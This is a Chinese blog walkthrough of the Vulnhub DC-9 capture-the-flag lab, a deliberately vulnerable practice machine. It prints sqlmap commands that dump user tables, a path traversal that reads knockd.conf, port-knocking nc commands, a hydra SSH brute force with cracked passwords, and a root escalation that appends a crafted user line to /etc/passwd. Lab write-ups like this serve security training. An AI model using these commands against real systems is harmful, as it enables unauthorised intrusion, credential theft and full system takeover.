Vulnhub-DC-9 靶机复现完整过程

文章详细描述了在网络安全环境中,从搭建KaliLinux环境开始,通过信息收集、发现SQL注入漏洞并利用SQLMap工具进行攻击,包括数据库爆破、内容获取,最终实现提权的过程。涉及端口敲门技术和密码破解。
摘要由CSDN通过智能技术生成

一、搭建环境

kali的IP地址是:192.168.200.14
DC-9的IP地址暂时未知

二、信息收集

1、探索同网段下存活的主机

arp-scan -l #

image.png
2、探索开放的端口
image.png
开启端口有:80和22端口

3、目录扫描

image.png

访问80 端口显示的主页面
image.png

分别点击其他几个页面
可以看到是用户的信息
image.png
此页面下出现的搜索框。可能会存在xss漏洞和SQL注入漏洞
image.png
最后一个需要正确输入用户名和密码才可以登录
image.png
输入什么都会跳转这个页面
image.png
用抓包的形式进行尝试,点击进行抓包测试

三、漏洞探测

sql注入

运用工具SQLMAP
image.png
将捕获的数据要包放到sqlmap的安装目录下,创建一个新的文件
image.png
在cmd命令行上输入以下指令

1、获得数据库

python sqlmap.py -r 1.txt --dbs --batch # 第一种方法
python sqlmap.py -u "http://192.168.200.6/results.php" --data "search=1" --dbs 第二种方法

image.png

2、获取数据表

python sqlmap.py -r 1.txt -D Staff --tables # 第一种方法
python sqlmap.py -u "http://192.168.200.6/results.php" --data "search=1" -D Staff --tables
# 第二种方法

image.png

3、爆字段

sqlmap.py -r 1.txt -D Staff -T Users --columns # 第一种方法

python sqlmap.py -u "http://192.168.200.6/results.php" --data "search=1" -D Staff -T Users --columns
# 第二种方法

image.png

4、暴内容

python sqlmap -u "http://192.168.200.6/results.php" --data "search=1" -D Staff -T Users --dump
# 第一种方法
python sqlmap.py -r 1.txt -D Staff -T Users --dump # 第二种方法

image.png

+--------+----------+----------------------------------+
| UserID | Username | Password                         |
+--------+----------+----------------------------------+
| 1      | admin    | 856f5de590ef37314e7c3bdf6f8a66dc |
+--------+----------+----------------------------------+

经过md5加密的admin用户密码,在线md5解码一下

账号:admin  
密码:transorbital1

登录成功
image.png

爆破另外一个数据库(Users)(只是用使用一种方法)
1、爆破数据库

python sqlmap.py -r 1.txt --dbs --batch

image.png+
2、获取数据库

python sqlmap.py -r 1.txt -D Users --tables

image.png
3、爆破字段

python sqlmap.py -r 1.txt -D users -T UserDetails --columns

image.png
4、爆破内容

python sqlmap.py -r 1.txt -D users -T UserDetails --dump

python sqlmap -r 1.txt -D users -T UserDetails -C username,password --dump

image.png

回到原网页

文件包含

根据底部的信息File does not exist,可以推断,有可能存在文件包含漏洞
image.png

选择manage.php进行尝试文件包含漏洞,成功,经过百度,可以知道有个敲门打开SSH端口的事情
image.png

端口保护之端口敲门

大致就是按一定的顺序访问端口可以达到开启和关闭某个端口的机制
通过查看…/…/…/…/etc/knockd.conf文件,结合搜索到的相关知识,知道用nc分别去尝试这三个端口可以打开SSH端口

通过查看../../../../etc/knockd.conf文件,结合搜索到的相关知识,
知道用nc分别去尝试这三个端口可以打开SSH端口

经过百度,进行敲门
nc 192.168.200.6 7469
nc 192.168.200.6 8475
nc 192.168.200.6 9842

nmap再次扫描一下发现22端口开放了,amazing!!!
image.png

使用之前得到的用户名和密码去爆破ssh服务

hydra -L username.txt -P password.txt ssh://192.168.200.6 

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-31 04:04:48
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 289 login tries (l:17/p:17), ~19 tries per task
[DATA] attacking ssh://10.0.0.28:22/
[22][ssh] host: 192.168.200.6   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.200.6   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.200.6   login: janitor   password: Ilovepeepee
1 of 1 target successfully completed, 3 valid passwords found

三个用户家目录下什么也没有
按顺序先选择fredf登录B4-Tru3-001
ssh fredf@192.168.200.6
查看sudo -l成功
image.png

image.png
选择chandlerb登录UrAG0D!
ssh chandlerb@192.168.200.6
查看sudo -l失败
image.png
选择joeyt登录Passw0rd
ssh joeyt@192.168.200.6
查看sudo -l失败
image.png
选择janitor登录Ilovepeepee
ssh janitor@192.168.200.6
查看sudo -l失败
image.png
使用janitor登陆,发现了一个密码文件,使用janitor登陆,发现了一个密码文件

janitor@dc-9:~$ ls -al
total 20
drwx------  4 janitor janitor 4096 Aug 31 18:38 .
drwxr-xr-x 19 root    root    4096 Dec 29  2019 ..
lrwxrwxrwx  1 janitor janitor    9 Dec 29  2019 .bash_history -> /dev/null
drwx------  3 janitor janitor 4096 Aug 31 18:05 .gnupg
drwx------  2 janitor janitor 4096 Dec 29  2019 .secrets-for-putin
-rw-r--r--  1 janitor janitor    6 Aug 31 18:42 test.txt
janitor@dc-9:~$ cd .secrets-for-putin/
janitor@dc-9:~/.secrets-for-putin$ ls
passwords-found-on-post-it-notes.txt
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt 
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts


[22][ssh] host: 192.168.200.6   login: fredf   password: B4-Tru3-001

经过四个账户的查询发现只有fredf有一定权限

cd /opt/devstuff/dist/test/
ls -al

image.png
可以发现他具有一个特殊权限,可以运行一个test脚本。

fredf@dc-9:~$  /opt/devstuff/dist/test/test --help
Usage: python test.py read append
fredf@dc-9:~$ 
# 这个test的作用就是把一个文件中的内容append到另一个文件中。
我们首先想到利用test往passwd文件中写入用户信息,便这个用户口令必须是加密过的。

image.png

提权

在janitor中发现了几个密码,加到我们的密码字典中
然后再次使用hydra爆破发现了第四个可以用ssh登录的账号和密码
登录后sudo -l发现test文件有root权限

image.png
image.png
切换到test目录看下,找下这个test.py,在/opt/devstuff目录下,脚本的作用就是将第一个文件的内容附加到另一个文件里面去
image.png
在etc/passwd文件里进行写入账号密码
运行脚本的时候最好切换到test目录下,test.py的路径为绝对路径

openssl passwd -1 -salt dc 123456
echo 'dc:$1$dc$5uDk4oYnRiBs0fFGlcRwy.:0:0:root:/bin/bash' >> /tmp/dc
sudo ./test /tmp/dc /etc/passwd

3.按照/etc/passwd的格式写一个文件,通过test脚本追加到/etc/passwd中即可提权,运行脚本的时候最好切换到test目录下,test.py的路径为绝对路径
image.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值